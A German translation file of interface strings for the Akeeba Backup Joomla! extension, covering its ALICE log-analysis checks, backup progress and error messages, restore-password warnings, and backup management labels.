COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES="Probleme mit großen Dateien"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_ERROR="Die folgenden Dateien sind zu groß und können zu Backup-Problemen führen: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_LARGE_FILES_SOLUTION="Bitte versuchen Sie, diese Dateien über die Funktion „Dateien und Verzeichnisse ausschließen" auszuschließen oder löschen Sie sie, wenn Sie sicher sind, dass Sie sie auf Ihrer Website nicht benötigen."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES="Mehrere Joomla!-Installationen"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_ERROR="Joomla!-Installationen wurden in den folgenden Unterverzeichnissen gefunden: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_MULTIPLE_SITES_SOLUTION="Sie sollten diese Unterverzeichnisse ausschließen, da sie zu Timeout-Problemen führen können."
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS="Alte Backups eingeschlossen"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_ERROR="Die folgenden alten Backups sind im aktuellen Backup enthalten: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_FILESYSTEM_OLD_BACKUPS_SOLUTION="Löschen oder schließen Sie diese aus dem Backup aus."
COM_AKEEBABACKUP_ALICE_ANALYZE_LABEL_PROGRESS="Analysefortschritt"
COM_AKEEBABACKUP_ALICE_ANALYZE_RAW_OUTPUT="Der Protokollanalysator hat ein oder mehrere Backup-Probleme erkannt. Wenn das Befolgen der Vorschläge dieses Protokollanalysators und der Anweisungen in unserer Fehlerbehebungsdokumentation nicht funktioniert und Sie ein aktives Abonnement auf unserer Website haben, eröffnen Sie bitte ein neues Ticket und fügen Sie die folgende <em>Textausgabe der Protokollanalyse</em> ein, um uns zu helfen, Ihnen schnelleren Support zu bieten."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS="Systemanforderungen prüfen"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE="Datenbanktyp und -version"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_SOLUTION="Akeeba Backup unterstützt nur MySQL 5.0.47 oder höher"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNKNOWN="Der Datenbanktyp konnte nicht erkannt werden. Erkannter Typ: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_UNSUPPORTED="Ihr Datenbankserver wird noch nicht unterstützt. Erkannter Datenbanktyp: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DATABASE_VERSION_TOO_OLD="Datenbankversion zu alt. Erkannte Version: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS="Datenbankberechtigungen"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_ERROR="Es scheint, dass Sie keine SHOW TABLE- und/oder SHOW VIEW-Anweisungen auf Ihrer Datenbank ausführen können."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_DBPERMISSIONS_SOLUTION="Bitte kontaktieren Sie Ihren Hosting-Anbieter"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY="Verfügbarer Arbeitsspeicher"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_SOLUTION="Bitte kontaktieren Sie Ihren Hosting-Anbieter und bitten Sie ihn um Anweisungen zur Erhöhung Ihres PHP-Speicherlimits."
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_MEMORY_TOO_FEW="Akeeba Backup benötigt mindestens 16 MB verfügbaren Arbeitsspeicher. Erkannter verfügbarer Speicher: %s MB"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION="PHP-Version"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_ERR_TOO_OLD="PHP-Version zu alt. Erkannte Version: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_REQUIREMENTS_PHP_VERSION_SOLUTION="Akeeba Backup benötigt PHP 5.6 oder PHP 7"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIMEERRORS="Laufzeitfehler prüfen"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL="Installationsintegrität"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_ERROR="Es scheint, dass Ihre Installation beschädigt ist. Dies kann passieren, wenn der Hosting-Anbieter sehr strenge Sicherheitsregeln anwendet und Akeeba Backup-Dateien fälschlicherweise als Sicherheitsbedrohungen identifiziert und sie ohne Rückfrage löscht oder umbenennt."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_CORRUPTED_INSTALL_SOLUTION="Bitte installieren Sie Akeeba Backup neu <strong>ohne es zu deinstallieren</strong>. Wenn das nicht hilft, kontaktieren Sie bitte sofort Ihren Hosting-Anbieter."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME="Zusätzliche Datenbank - Joomla-Datenbankeinbeziehung"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_ERROR="Sie haben die Joomla-Datenbank als zusätzliche Datenbank hinzugefügt; einige Server könnten eine zweite Verbindung zur selben Datenbank ablehnen, was zu einem Backup-Fehler führt"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_JSAME_SOLUTION="Entfernen Sie die Joomla-Datenbank aus den zusätzlichen Datenbanken"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_NO_PROFILE="Das verwendete Profil konnte nicht erkannt werden, Test übersprungen"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG="Zusätzliche Datenbank - Falsche Zugangsdaten"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_ERROR="Eine (oder mehrere) zusätzliche Datenbank hat ungültige Zugangsdaten"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_DBADD_WRONG_SOLUTION="Bitte überprüfen Sie die Verbindungsdetails der zusätzlichen Datenbanken"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES="Fehlerprotokolldateien"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_FOUND="Fehlerprotokolldateien sind im Backup-Archiv enthalten:<br/>%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_ERRORFILES_SOLUTION="Sie können diese Dateien mit dem folgenden regulären Ausdruck ausschließen: <strong>#(/php_error_cpanel\.|php_error_cpanel\.|/error_)log#</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR="Schwerwiegende Fehler"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_ERROR="Beim Erstellen eines Backups ist folgender schwerwiegender Fehler aufgetreten. Bitte beheben Sie ihn, bevor Sie fortfahren: \n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_FATALERROR_SOLUTION="Wenn Sie nicht verstehen, was das bedeutet, und Sie ein aktives Abonnement auf unserer Website haben, eröffnen Sie bitte ein neues Support-Ticket und stellen Sie sicher, dass 1. Sie die Backup-Protokolldatei als ZIP-Datei angehängt haben und 2. Sie die oben auf dieser Seite sichtbare Textausgabe eingefügt haben."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD="Probleme beim Speichern des Backup-Engine-Zustands"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_SOLUTION="Es scheint, dass eine einzelne Anfrage von Ihrem Server mehr als einmal verarbeitet wurde. Dies führt zu Fehlern während des Backup-Prozesses oder zu beschädigten Archiven. Bitte kontaktieren Sie Ihren Hosting-Anbieter und melden Sie dieses Problem."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_KETTENRAD_STARTING_MORE_ONCE="Versuch, Schritt %s mehr als einmal zu starten."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE="Nachbearbeitungs-Engine und Archivteilgröße"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_ERROR="Eine Nachbearbeitungs-Engine wurde gefunden, aber keine Teilgröße ist eingestellt; dies kann zu Timeout-Problemen führen"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_PART_SIZE_SOLUTION="Legen Sie eine Teilgröße in der Backup-Profilkonfiguration fest."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT="Timeout beim Sichern"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_KETTENRAD_BROKEN="Es gibt bereits ein Problem mit dem Speichern des Backup-Engine-Zustands. Bitte beheben Sie es, bevor Sie fortfahren."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_MAX_EXECUTION="Das Backup-Skript hat ein Timeout-Limit erreicht. Erkannter Timeout: %s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TIMEOUT_SOLUTION="Bitte versuchen Sie, die minimale Ausführungszeit auf 1, die maximale Ausführungszeit auf 10 Sekunden einzustellen (oder wenn das PHP-Timeout weniger als 10 Sekunden beträgt, verwenden Sie 75 % des PHP-Timeouts), Laufzeitabweichung 75 %"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS="Anzahl der gespeicherten Tabellen"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_ERROR="Sie versuchen, zu viele Tabellen zu sichern. Bitte vermeiden Sie es, verschiedene Joomla!-Installationen gleichzeitig zu sichern."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYDBS_SOLUTION="Sie können Nicht-Kerntabellen mit dem folgenden regulären Ausdruck ausschließen: <strong>!/^#__/</strong>"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS="Tabellenzeilen-Anzahl"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ERROR="Sie versuchen, Tabellen mit sehr vielen Zeilen (mehr als 1 Million) zu sichern:\n%s"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_ROWS="Zeilen"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_SOLUTION="Sie sollten diese Tabellen mit der Funktion <strong>Datenbanktabellen ausschließen</strong> ausschließen"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_TOOMANYROWS_TABLE="Tabelle"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND="Probleme beim Schreiben des Backup-Archivs"
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_ERROR="Die Archivdatei konnte nicht zum Anhängen geöffnet werden."
COM_AKEEBABACKUP_ALICE_ANALYZE_RUNTIME_ERRORS_WINCANTAPPEND_SOLUTION="Bitte prüfen Sie, ob ausreichend Speicherplatz vorhanden ist, ob Ressourcen erschöpft werden oder ob Sie verhindern müssen, dass System-Backup (Windows) und Antiviren-Scan während des Backups stattfinden."
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_HEADER="Protokollanalyse fehlgeschlagen"
COM_AKEEBABACKUP_ALICE_ERR_ANALYZEFAILED_INFO="Die Protokollanalyse wurde angehalten. Der Protokollanalysator hat folgenden Fehler gemeldet:"
COM_AKEEBABACKUP_ALICE_ERR_CANNOT_OPEN_LOGFILE="Protokolldateianalyse fehlgeschlagen: Die Protokolldatei %s konnte nicht zum Lesen geöffnet werden."
COM_AKEEBABACKUP_ALICE_HEADER_CHECK="Durchgeführte Prüfung"
COM_AKEEBABACKUP_ALICE_HEADER_RESULT="Ergebnis"

COM_AKEEBABACKUP_ALICE_ERR_NOLOGS="Es wurden keine Protokolldateien für <strong>fehlgeschlagene</strong> Backups gefunden."
COM_AKEEBABACKUP_ALICE_HEAD_ONLYFAILED="ALICE funktioniert nur bei <em>fehlgeschlagenen</em> Backups"
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_SHOWINGLOGS="ALICE ist ein Werkzeug zur Analyse der Protokolldateien von <em>fehlgeschlagenen</em> Backups und gibt Ihnen in den meisten Fällen die wahrscheinlichste Ursache für das Scheitern des Backups an. Es ist nicht dazu gedacht, die Protokolldateien erfolgreicher Backups zu analysieren. Das würde unsinnige, irreführende oder schlichtweg falsche Ergebnisse liefern. Aus diesem Grund werden Ihnen nur die Protokolldateien von <em>fehlgeschlagenen</em> Backups angezeigt."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_WHATISFAILED="Bitte beachten Sie, dass Backups, bei denen das Hochladen des Backup-Archivs in den Remote-Speicher nicht abgeschlossen wurde, keine fehlgeschlagenen Backups sind. Die Grundursache für diese Probleme kann von ALICE ohnehin nicht erkannt werden. Wenn Sie diese Art von Problem haben, müssen Sie ein Support-Ticket im Support-Bereich unserer Website einreichen. Wenn jemand anderes Akeeba Backup Professional für Sie auf Ihrer Website installiert hat, wenden Sie sich stattdessen an diese Person; in diesem Fall können Sie kein Support-Ticket auf unserer Website einreichen."
COM_AKEEBABACKUP_ALICE_LBL_ONLYFAILED_IFNOFAILED="Wenn Ihr Backup fehlgeschlagen ist, Sie es aber nicht auf dieser Seite sehen, warten Sie bitte <em>drei (3) Minuten</em>, kehren Sie zur Akeeba Backup-Systemsteuerungsseite zurück und kommen Sie dann hierher zurück. Es gibt einen Grund dafür. In einigen Fällen wird der Backup-Fehler durch einen Server-Fehler verursacht. In diesen Fällen wird das Backup als noch-in-Bearbeitung markiert anstatt als fehlgeschlagen, da PHP aufhört zu laufen und daher unser PHP-Code, der das Backup als fehlgeschlagen markieren würde, keine Chance bekommt zu laufen. Wenn Sie die Systemsteuerungsseite besuchen, wird jedes Backup, das seit mehr als 3 Minuten als noch-in-Bearbeitung markiert ist, als fehlgeschlagen markiert. Daher müssen Sie warten und <em>dann</em> zur Systemsteuerungsseite zurückkehren."

COM_AKEEBABACKUP_BACKUP="Jetzt sichern"
COM_AKEEBABACKUP_BACKUP_ANALYSELOG="Protokolldatei analysieren (ALICE)"
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_1="Das Akeeba Backup-Wiederherstellungsskript ist nur zugänglich, wenn Sie das Passwort eingeben, das Sie auf der vorherigen Seite eingerichtet haben, bevor Sie auf die Schaltfläche „Jetzt sichern" geklickt haben. Wenn Sie sich nicht daran erinnern, ein Passwort eingerichtet zu haben, hat Ihr Browser das Passwort auf der Konfigurationsseite <strong>ohne Ihre Zustimmung</strong> automatisch ausgefüllt. Dies wird von vielen Passwort-Managern und Browsern gemacht."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_2="Moderne Browser und Passwort-Manager erlauben es uns nicht, dieses Verhalten zu überschreiben. Wir haben eine JavaScript-Abwehr gegen diese Art des nicht einvernehmlichen automatischen Ausfüllens des Passwortfeldes auf der Konfigurationsseite eingebaut. Wenn Sie jedoch die Konfigurationsseite innerhalb von etwa einer halben Sekunde nach dem Laden speichern, hat diese Abwehr keine Chance zu laufen."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_HEADER="WARNUNG: Sie haben ein Passwort für das Wiederherstellungsskript eingerichtet"
COM_AKEEBABACKUP_BACKUP_DEFAULT_DESCRIPTION="Backup erstellt am"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_AUTOBACKUP="Das automatische Backup kann nicht gestartet werden, weil Ihr Ausgabeverzeichnis nicht beschreibbar ist. Bitte folgen Sie den nachstehenden Anweisungen, um dieses Problem zu beheben."
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON="Um dieses Problem zu beheben, gehen Sie bitte zur <a href=\"%s\">Konfigurationsseite</a> und setzen Sie das Ausgabeverzeichnis auf <code>[DEFAULT_OUTPUT]</code> (Großbuchstaben, einschließlich der Klammern). Wenn das immer noch nicht funktioniert, schauen Sie bitte <a href=\"%s\">in unsere Fehlerbehebungsanweisungen</a>"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_NORMALBACKUP="Akeeba Backup kann kein Backup Ihrer Website erstellen, weil das Ausgabeverzeichnis nicht beschreibbar ist. Bitte folgen Sie den nachstehenden Anweisungen, um dieses Problem zu beheben."
COM_AKEEBABACKUP_BACKUP_ERROR_PROFILE_NO_ACCESS="Sie haben keinen Zugriff auf dieses Backup-Profil."
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFAILED="Backup fehlgeschlagen"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFINISHED="Backup erfolgreich abgeschlossen"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPRETRY="Backup angehalten und wird automatisch fortgesetzt"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED="Der Vorgang wurde erfolgreich abgeschlossen"
COM_AKEEBABACKUP_BACKUP_HEADER_STARTNEW="Neues Backup starten"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT="Backup-Kommentar"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT_HELP="Dieser wird sowohl auf der Seite „Backups verwalten" als auch im Backup-Archiv (in der Datei installation/README.html) zu Ihrer Bequemlichkeit angezeigt."
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION="Kurzbeschreibung"
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION_HELP="Diese wird auf der Seite „Backups verwalten" zu Ihrer Bequemlichkeit angezeigt."
COM_AKEEBABACKUP_BACKUP_LABEL_DETECTEDQUIRKS="Akeeba Backup funktioniert möglicherweise nicht wie erwartet"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_FINISHED="Backup-Prozess wird abgeschlossen"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INIT="Backup-Prozess wird initialisiert"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INSTALLER="Installer wird in das Archiv eingebettet"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKDB="Datenbanken werden gesichert"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKING="Dateien werden gesichert"
COM_AKEEBABACKUP_BACKUP_LABEL_PROGRESS="Backup-Fortschritt"
COM_AKEEBABACKUP_BACKUP_LABEL_QUIRKSLIST="Akeeba Backup hat die folgenden möglichen Probleme erkannt:"
COM_AKEEBABACKUP_BACKUP_LABEL_RESTORE_DEFAULT="Standard wiederherstellen"
COM_AKEEBABACKUP_BACKUP_LABEL_START="Jetzt sichern!"
COM_AKEEBABACKUP_BACKUP_LABEL_WARNINGS="Warnungen"
COM_AKEEBABACKUP_BACKUP_LBL_EXPLAIN_PROFILES="Sie können das aktive Backup-Profil oben ändern, um ein Backup mit anderen Einstellungen zu erstellen. Sie können Backup-Profile auf der Seite „Profile" erstellen."
COM_AKEEBABACKUP_BACKUP_LBL_UPGRADENAG="Genug von dieser Seite? Sie können Ihre Backups mit Akeeba Backup Professional automatisieren."
COM_AKEEBABACKUP_BACKUP_STATS="Backup-Statistiken"
COM_AKEEBABACKUP_BACKUP_STATUS_NONE="Kein Backup erstellt"
COM_AKEEBABACKUP_BACKUP_TEXT_AVGWARNING="Sie führen AVG Antivirus mit aktiviertem Link Scanner aus. Es ist bekannt, dass dies zu Backup-Problemen führt. Bitte deaktivieren Sie die Link-Scanner-Funktion, wenn Sie auf Probleme stoßen.\n\nSind Sie sicher, dass Sie trotz dieser Warnung fortfahren möchten?"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKINGUP="Bitte <strong>NICHT</strong> zu einer anderen Seite navigieren, zu einem anderen Browser-Tab/-Fenster wechseln oder zu <em>einer anderen Anwendung</em> wechseln, bis eine Abschluss- oder Fehlermeldung angezeigt wird. Stellen Sie sicher, dass Ihr Gerät während des Backups nicht in den Ruhezustand wechselt."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED="Der Backup-Vorgang wurde angehalten, weil ein Fehler erkannt wurde.<br />Die letzte Fehlermeldung lautete:"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILEDRETRY="Der Backup-Vorgang wurde angehalten, weil ein Fehler erkannt wurde. Akeeba Backup wird jedoch versuchen, das Backup fortzusetzen. Wenn Sie das Backup nicht fortsetzen möchten, klicken Sie bitte unten auf die Schaltfläche „Abbrechen"."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFINISHED="Backup abgeschlossen am"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT="Backup angehalten"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT_DESC="Das Backup wird in %d Sekunden fortgesetzt"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPRESUME="Backup fortgesetzt am"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPSTARTED="Backup gestartet am"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPWARNING="Das Backup hat eine Warnung ausgegeben"
COM_AKEEBABACKUP_BACKUP_TEXT_BTNRESUME="Fortsetzen"
COM_AKEEBABACKUP_BACKUP_TEXT_CONGRATS="Herzlichen Glückwunsch! Der Backup-Prozess wurde erfolgreich abgeschlossen.<br/>Sie können jetzt zu einer anderen Seite navigieren."
COM_AKEEBABACKUP_BACKUP_TEXT_LASTERRORMESSAGEWAS="Zu Ihrer Information: Die letzte Fehlermeldung lautete:"
COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE="Letzte Serverantwort vor %s Sekunden"
COM_AKEEBABACKUP_BACKUP_TEXT_PLEASEWAITFORREDIRECTION="Bitte warten; Sie werden zur nächsten Seite weitergeleitet.<br/>Dies kann je nach Ihrer Internetverbindung 5 bis 30 Sekunden dauern."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAIL="Bitte klicken Sie auf die Schaltfläche „Protokoll anzeigen" in der Symbolleiste, um die Akeeba Backup-Protokolldatei für weitere Informationen anzuzeigen."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAILPRO="Bitte klicken Sie auf die Schaltfläche „Protokoll analysieren" unten, damit Akeeba Backup seine Protokolldatei für weitere Informationen analysiert."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVE="Wir empfehlen dringend, die Schritt-für-Schritt-Anweisungen in unserem <a href=\"%s\">Fehlerbehebungsassistenten</a> zu befolgen, um dieses Problem selbst einfach zu lösen."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVEPRO="Das Befolgen der Vorschläge von ALICE, unserem Protokollanalysator, ist möglicherweise nicht ausreichend. Der automatische Protokollanalysator kann nicht alle möglichen Problemfälle abdecken."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_CORE="Wenn das nicht hilft, können Sie <a href=\"%s\">ein Abonnement kaufen</a>, damit Sie im <a href=\"%s\">Support-Ticket-System</a> um Hilfe bitten können."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_LOG="Wenn Sie ein Ticket in unserem Ticket-System einreichen, denken Sie bitte daran, Ihre <a href=\"%s\">Backup-Protokolldatei</a> als ZIP-Datei beizufügen, damit wir Ihnen schneller helfen können."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_PRO="Wenn das nicht hilft, zögern Sie nicht, im <a href=\"%s\">Support-Ticket-System</a> um Hilfe zu bitten. Bitte beachten Sie, dass Sie ein aktives Abonnement benötigen, um Unterstützung über das Ticket-System zu beantragen. Wenn Akeeba Backup Professional von einem Dritten – z. B. Ihrem Webentwickler – auf Ihrer Website installiert wurde, kontaktieren Sie bitte nicht Akeeba Ltd für Support. Wenden Sie sich stattdessen an die Person, die die Software auf Ihrer Website installiert hat, und bitten Sie um Hilfe bei der Lösung dieses Problems."
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRY="Das Backup wird fortgesetzt in"
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRYSECONDS="Sekunden"
COM_AKEEBABACKUP_BACKUP_TROUBLESHOOTINGDOCS="Fehlerbehebungsdokumentation"

COM_AKEEBABACKUP_BROWSER_ERR_BASEDIR="Das angegebene Verzeichnis unterliegt open_basedir-Beschränkungen. Es kann weder für die Backup-Ausgabe verwendet werden, noch können seine Inhalte, falls vorhanden, aufgelistet werden."
COM_AKEEBABACKUP_BROWSER_ERR_NONROOT="Zu Ihrer Information: Dieses Verzeichnis befindet sich außerhalb des Web-Stammverzeichnisses Ihrer Website."
COM_AKEEBABACKUP_BROWSER_ERR_NOTEXISTS="Das angegebene Verzeichnis existiert nicht!"
COM_AKEEBABACKUP_BROWSER_LBL_GO="Los"
COM_AKEEBABACKUP_BROWSER_LBL_GOPARENT="&lt;eine Ebene nach oben&gt;"
COM_AKEEBABACKUP_BROWSER_LBL_USE="Verwenden"

COM_AKEEBABACKUP_BUADMIN="Backups verwalten"
COM_AKEEBABACKUP_BUADMIN_TABLE_CAPTION="Tabelle der Backup-Versuche"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_ASC="Backup-Start aufsteigend"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_DESC="Backup-Start absteigend"
COM_AKEEBABACKUP_BUADMIN_BTN_DONTSHOWTHISAGAIN="Verstanden!"
COM_AKEEBABACKUP_BUADMIN_BTN_REMINDME="Nächstes Mal erinnern"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDDOWNLOAD="Die Datei des angegebenen Backup-Eintrags kann nicht heruntergeladen werden"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID="Ungültige Backup-Eintrags-ID"
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_ARCHIVES="Backup-Archivdateien konnten nicht gelöscht werden. Bitte überprüfen Sie die Berechtigungen."
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_RECORD="Der Backup-Archiveintrag konnte nicht gelöscht werden."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED_1="Der Backup-Eintrag wurde eingefroren."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED="%d Backup-Einträge wurden eingefroren."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED_1="Der Backup-Eintrag wurde aufgetaut."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED="%d Backup-Einträge wurden aufgetaut."
COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR="Die ausgewählte Aktion kann nicht für einen eingefrorenen Eintrag durchgeführt werden"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE="Eintrag einfrieren"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE="Eintrag auftauen"
COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT="Kommentar"
COM_AKEEBABACKUP_BUADMIN_LABEL_DELETEFILES="Dateien löschen"
COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION="Beschreibung"
COM_AKEEBABACKUP_BUADMIN_LABEL_DURATION="Dauer"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN="Eingefroren"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_FROZEN="Eingefroren"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_SELECT="– Eingefroren –"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_UNFROZEN="Aufgetaut"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND="Wie stelle ich meine Backups wieder her?"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE="<p>Sie können Ihre Backups auf jedem Server wiederherstellen, auch auf einem anderen als dem, auf dem Sie Ihr Backup erstellt haben. Folgen Sie unserem <a href=\"%s\" target=\"_blank\">Video-Tutorial</a>. Sie müssen <a href=\"%3$s\" target=\"_blank\">Akeeba Kickstart Core (kostenlos) herunterladen</a>, um die Backup-Archive zu entpacken, wie es das Tutorial erklärt.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO="<strong>Es <em>kann</em> einfacher sein als das.</strong>Sie können Backup-Archive auf demselben oder einem anderen Server über die Oberfläche von Akeeba Backup wiederherstellen. Keine Notwendigkeit, Dateien selbst zu übertragen. Erfahren Sie mehr über diese und viele weitere Funktionen, die exklusiv in <a href=\"%s\">Akeeba Backup Professional</a> verfügbar sind!"
